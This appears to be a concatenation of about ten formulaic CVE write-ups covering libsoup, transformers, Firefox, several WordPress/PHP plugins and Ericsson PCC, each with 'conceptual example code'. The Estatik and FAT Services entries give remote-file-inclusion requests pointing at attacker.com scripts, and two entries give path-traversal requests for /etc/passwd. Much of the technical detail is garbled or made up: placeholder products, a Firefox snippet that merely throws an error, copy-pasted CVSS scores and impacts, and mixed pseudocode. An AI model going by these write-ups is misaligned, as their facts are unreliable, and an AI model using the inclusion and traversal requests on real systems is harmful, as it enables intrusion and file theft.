Author: Ameeba

Overview

This report discusses CVE-2025-4948, a vulnerability found in the libsoup HTTP library, which is widely used by GNOME and various other applications for web communications. The vulnerability has been found to cause the application or server to crash unexpectedly, leading to a potential denial-of-service (DoS) risk. The severity of this flaw warrants immediate attention and swift mitigation.

Vulnerability Summary

CVE ID: CVE-2025-4948
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Application crash, Denial-of-Service, Potential system compromise or data leakage

Affected Products

Product | Affected Versions

libsoup HTTP Library | All versions prior to patch

How the Exploit Works

The exploit takes advantage of a flaw in the soup_multipart_new_from_message() function of the libsoup HTTP library. An attacker sends a specially crafted multipart message which, due to improper validation in the library, leads to an incorrect internal calculation causing an integer underflow. This, in turn, prompts the program to access invalid memory and subsequently crash. Any application or server using the libsoup library is potentially at risk of an unexpected exit, creating a denial-of-service condition.

Conceptual Example Code

The conceptual example below demonstrates how an attacker might craft a multipart message to exploit this vulnerability.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/mixed; boundary=frontier
--frontier
Content-Type: text/plain
{ "malicious_payload": "..." }
--frontier--

Mitigation Guidance

To mitigate this vulnerability, it’s highly recommended to apply the vendor patch as soon as it becomes available. In the meantime, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can provide temporary mitigation against potential exploits. The use of these systems can help prevent denial-of-service attacks and protect against unauthorized access or data leakage.

Overview

A critical vulnerability, identified as CVE-2025-2099, has been discovered in the `transformers.testing_utils` module of huggingface/transformers, a popular machine learning library. This vulnerability, specifically within the `preprocess_string()` function, potentially exposes systems to Regular Expression Denial of Service (ReDoS) attacks. It is significant as it can lead to high system CPU usage, resulting in potential application downtime and posing a risk to system stability and data security.

Vulnerability Summary

CVE ID: CVE-2025-2099
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

huggingface/transformers | v4.48.3

How the Exploit Works

The vulnerability exists in the `preprocess_string()` function of the `transformers.testing_utils` module in huggingface/transformers. The regular expression used for processing code blocks in docstrings has nested quantifiers. This causes exponential backtracking when processing input with a large number of newline characters. An attacker can exploit this by providing a specially crafted payload, causing high CPU usage and potential application downtime. This effectively allows for a Denial of Service (DoS) scenario.

Conceptual Example Code

The following pseudocode example demonstrates how an attacker might exploit this vulnerability:

import transformers.testing_utils as utils
malicious_payload = "\n" * 100000  # A long string of newline characters
utils.preprocess_string(malicious_payload)

In this conceptual example, the `malicious_payload` string consists of a large number of newline characters. When passed to the `preprocess_string()` function, it triggers the vulnerability, leading to high CPU usage and potential denial of service.

Overview

An alarming vulnerability, CVE-2025-4918, has been detected in certain versions of Firefox, Firefox ESR, and Thunderbird, affecting their JavaScript `Promise` object. This critical issue permits an attacker to perform an out-of-bounds read or write operation, resulting in potential system compromise and data leakage. Given the widespread use of the affected software, this vulnerability is of significant concern.

Vulnerability Summary

CVE ID: CVE-2025-4918
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Firefox | < 138.0.4 Firefox ESR | < 128.10.1 Firefox ESR | < 115.23.1 Thunderbird | < 128.10.2 Thunderbird | < 138.0.2 How the Exploit Works

The exploit takes advantage of a flaw in the JavaScript `Promise` object present in the affected browsers. An attacker can craft a malicious web page or script that, when interacted with by the victim, allows the attacker to perform out-of-bounds read or write operations. This can lead to unauthorized access to data, system instability, or even complete system compromise.

Conceptual Example Code

Consider the following conceptual example, which illustrates a possible exploitation scenario:

let promise = new Promise((resolve, reject) => {
// Malicious code here
let array = new Array(-1);
resolve(array);
});
promise.then((value) => {
// Out-of-bounds read/write operation here
value[123456] = "exploit";
});

In this conceptual example, a `Promise` is created with a negative array size, which is an invalid operation. The attacker then performs an out-of-bounds write operation in the `then` method, potentially leading to undefined behavior, system instability, or a compromise.

Overview

CVE-2024-13613 is a critical cybersecurity vulnerability affecting the Wise Chat plugin for WordPress up to and including version 3.3.3. The vulnerability exposes sensitive information in the ‘uploads’ directory and opens the door for unauthenticated attackers to extract valuable data. This vulnerability is particularly significant due to the popularity of WordPress and the potential for system compromise or data leakage, impacting numerous websites and their users.

Vulnerability Summary

CVE ID: CVE-2024-13613
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Wise Chat Plugin for WordPress | Up to and including 3.3.3

How the Exploit Works

The vulnerability lies in the ‘uploads’ directory of the Wise Chat plugin for WordPress. Unauthenticated attackers can exploit this vulnerability by directly accessing the /wp-content/uploads directory, which may contain file attachments from chat messages. These attachments may contain sensitive data that is stored insecurely, leading to potential data leakage or system compromise.

Conceptual Example Code

An attacker may exploit this vulnerability by sending a GET request to the vulnerable uploads directory. Here is a conceptual example of how this might be done:

GET /wp-content/uploads HTTP/1.1
Host: vulnerablewebsite.com

If the request is successful, the server would respond with a list of files in the ‘uploads’ directory, potentially revealing sensitive information.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as possible to mitigate this vulnerability. If the patch cannot be applied immediately, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure. However, these solutions do not effectively resolve the vulnerability and are only intended as interim solutions until the patch can be applied.

Overview

CVE-2025-1706 is a critical vulnerability that affects software installed and run as a non-privileged user, which may conduct improper GPU system calls, leading to use-after-free kernel exceptions. This vulnerability, if exploited, can potentially result in system compromise or data leakage, posing a significant risk to information security. Given the severity of the vulnerability, it is essential to understand, mitigate, and patch this vulnerability promptly.

Vulnerability Summary

CVE ID: CVE-2025-1706
Severity: High (CVSS: 7.5)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Product A | Version 1.0 to 2.5
Product B | Version 3.1 to 4.2

How the Exploit Works

The exploit leverages the improper handling of GPU system calls by software running with non-privileged user rights. The attacker induces a use-after-free condition in the kernel, which can lead to unexpected behavior, including kernel panic, arbitrary code execution, or data leakage. This vulnerability is especially dangerous as it does not require user interaction and only requires low privilege access to the system.

Conceptual Example Code

The following is a
conceptual
example of how the vulnerability might be exploited. Please note that this is pseudocode and not a real exploit code.

#include <stdio.h>
#include <stdlib.h>
int main() {
char *buffer = malloc(256);  // Allocate memory
free(buffer);  // Free the allocated memory
// Now the buffer pointer is a dangling pointer, i.e., use-after-free vulnerability
strcpy(buffer, "malicious_payload");  // Copy malicious data into freed memory
// Trigger GPU system call
gpu_system_call(buffer);  // This will trigger the vulnerability
return 0;
}

Mitigation Guidance

To mitigate the vulnerability, it is recommended to apply the vendor-supplied patch as soon as it becomes available. In the interim, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can help prevent the exploitation of this vulnerability.

Overview

The CVE-2025-48136 vulnerability is a significant cybersecurity risk that affects Estatik Mortgage Calculator, a PHP-based application. This vulnerability is associated with the PHP Remote File Inclusion (‘PHP RFI’), which is a major security concern for web applications. The vulnerability can lead to system compromise or data leakage, making it a critical issue that requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-48136
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System Compromise and Data Leakage

Affected Products

Product | Affected Versions

Estatik Mortgage Calculator | All versions through 2.0.12

How the Exploit Works

The CVE-2025-48136 exploit works by leveraging a flaw in the handling of filenames for include/require statement in the PHP application. An attacker can manipulate the filename parameter in the PHP script to include a remote file. This opens the possibility for the attacker to execute arbitrary code on the server, leading to a potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP request to manipulate the ‘filename’ parameter:

GET /Estatik_Mortgage_Calculator.php?filename=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In this example, the ‘filename’ parameter is modified to include a remote file (‘malicious_script.txt’) from an attacker-controlled server. This remote file may contain malicious PHP code that, when executed, can compromise the target system.

Mitigation Guidance

Users of Estatik Mortgage Calculator are advised to apply the vendor patch as soon as it becomes available. In the meantime, users can deploy a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation to prevent potential attacks exploiting this vulnerability. Regular monitoring and updating of systems are also important in maintaining a secure environment.

Overview

This review discusses the critical vulnerability CVE-2025-47693, which affects the FAT Services Booking system. The issue arises due to the improper control of filename for Include/Require Statement in the PHP program, allowing PHP Local File Inclusion. This vulnerability is a potential threat to all systems running FAT Services Booking versions through 5.5, leading to possible system compromises or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47693
Severity: Critical, CVSS score 7.5
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

FAT Services Booking | Up to and including 5.5

How the Exploit Works

This vulnerability is due to the PHP program’s improper control of filename for Include/Require Statement. This lack of proper control allows an attacker to manipulate the PHP file include process, leading to the inclusion of local files. An attacker could exploit this vulnerability by sending a crafted request to the affected application. Successful exploitation could lead to unauthorized read access to potentially sensitive data, which could be used to conduct further attacks.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:

GET /index.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: target.example.com

In this example, the attacker tries to include ‘malicious_file.txt’ hosted on their server. If successful, the server will execute the malicious code contained in ‘malicious_file.txt’.

Mitigation Guidance

Affected systems should apply the vendor-provided patches at their earliest convenience. If unable, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. However, these measures are not a complete solution and only serve to reduce the risk of potential attacks. The definitive solution is to apply the patch as soon as it becomes available.

Overview

A high-severity vulnerability, CVE-2025-39507, has been identified in NasaTheme’s Nasa Core. The PHP Remote File Inclusion vulnerability, which holds a CVSS Severity Score of 7.5, exposes the system to potential compromise and data leakage. Anyone using Nasa Core versions through 6.3.2 is at risk and should take immediate action to mitigate the threat.

Vulnerability Summary

CVE ID: CVE-2025-39507
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Possible system compromise and data leakage

Affected Products

Product | Affected Versions

NasaTheme Nasa Core | n/a through 6.3.2

How the Exploit Works

The vulnerability originates from an improper control of a filename that is used in a PHP ‘include’ or ‘require’ statement. An attacker can manipulate the filename, leading to the PHP Local File Inclusion (LFI). This allows an attacker to include and execute arbitrary local files within the server context, which can lead to unauthorized system access, data leakage, and potentially full system compromise.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example represents a malicious HTTP request:

GET /index.php?page=../../../../../etc/passwd HTTP/1.1
Host: vulnerable-website.com

In this example, the attacker is attempting to traverse the directory to read the ‘/etc/passwd’ file, which is a common target in LFI attacks due to its potential to contain sensitive user information.

Mitigation and Recommendations

Users are advised to apply the patch provided by the vendor immediately. In the absence of a patch, or until one can be applied, it’s recommended to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure to detect and block exploit attempts.

Overview

A significant security vulnerability, designated as CVE-2025-39492, has been identified in the popular hosting management software, WHMpress. This vulnerability, a form of Path Traversal, allows for Relative Path Traversal from versions 6.2 through revision. The exploit carries the potential for malicious actors to compromise systems or leak sensitive data. Given the widespread use of WHMpress, the implications of this vulnerability are substantial.

Vulnerability Summary

CVE ID: CVE-2025-39492
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

WHMpress | 6.2 through revision

How the Exploit Works

The exploit works by the attacker sending specially crafted input to the WHMpress application. This input, which involves a relative path, is not properly sanitized by the software, allowing the attacker to traverse directories outside of the intended boundary. This could potentially give the attacker access to sensitive system files and data.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited, using an HTTP request:

GET /WHMpresspage?file=../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker is attempting to access a sensitive system file (the Unix password file) via relative path traversal by moving up two directory levels from the expected context.

Mitigation

To mitigate this high-risk Path Traversal vulnerability, users are strongly recommended to apply the vendor’s patches as soon as they become available. In the interim, utilizing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by detecting and potentially blocking attempts to exploit this vulnerability. Regularly review and update security protocols to ensure the best possible defense against potential threats.

Overview

This report provides details on a significant vulnerability in the Ericsson Packet Core Controller (PCC). The vulnerability, assigned CVE-2024-53827, could allow an attacker to cause service degradation by sending a large volume of specially crafted messages. It is particularly concerning due to the potential for system compromise or data leakage, and hence demands immediate attention from all entities employing the affected Ericsson PCC system.

Vulnerability Summary

CVE ID: CVE-2024-53827
Severity: High, CVSS score 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Service Degradation, Potential System Compromise, Data Leakage

Affected Products

Product | Affected Versions

Ericsson Packet Core Controller (PCC) | All versions prior to the latest patch

How the Exploit Works

An attacker exploits this vulnerability by sending a large volume of specially crafted messages to a target system running the vulnerable versions of Ericsson PCC. These messages can cause high resource consumption on the target system, leading to service degradation. If successfully exploited, this vulnerability could lead to system compromise and potential data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This pseudocode represents the sending of a large volume of crafted messages to the target.

for i in range(1,1000000):
POST /target_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "message": "specially_crafted_message_" + str(i) }

Mitigation Guidance

Until a patch is released by the vendor, it is recommended to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can be configured to identify and block the large volume of crafted messages associated with this exploit. Once the vendor patch is available, it should be applied immediately to all affected systems to remediate this vulnerability.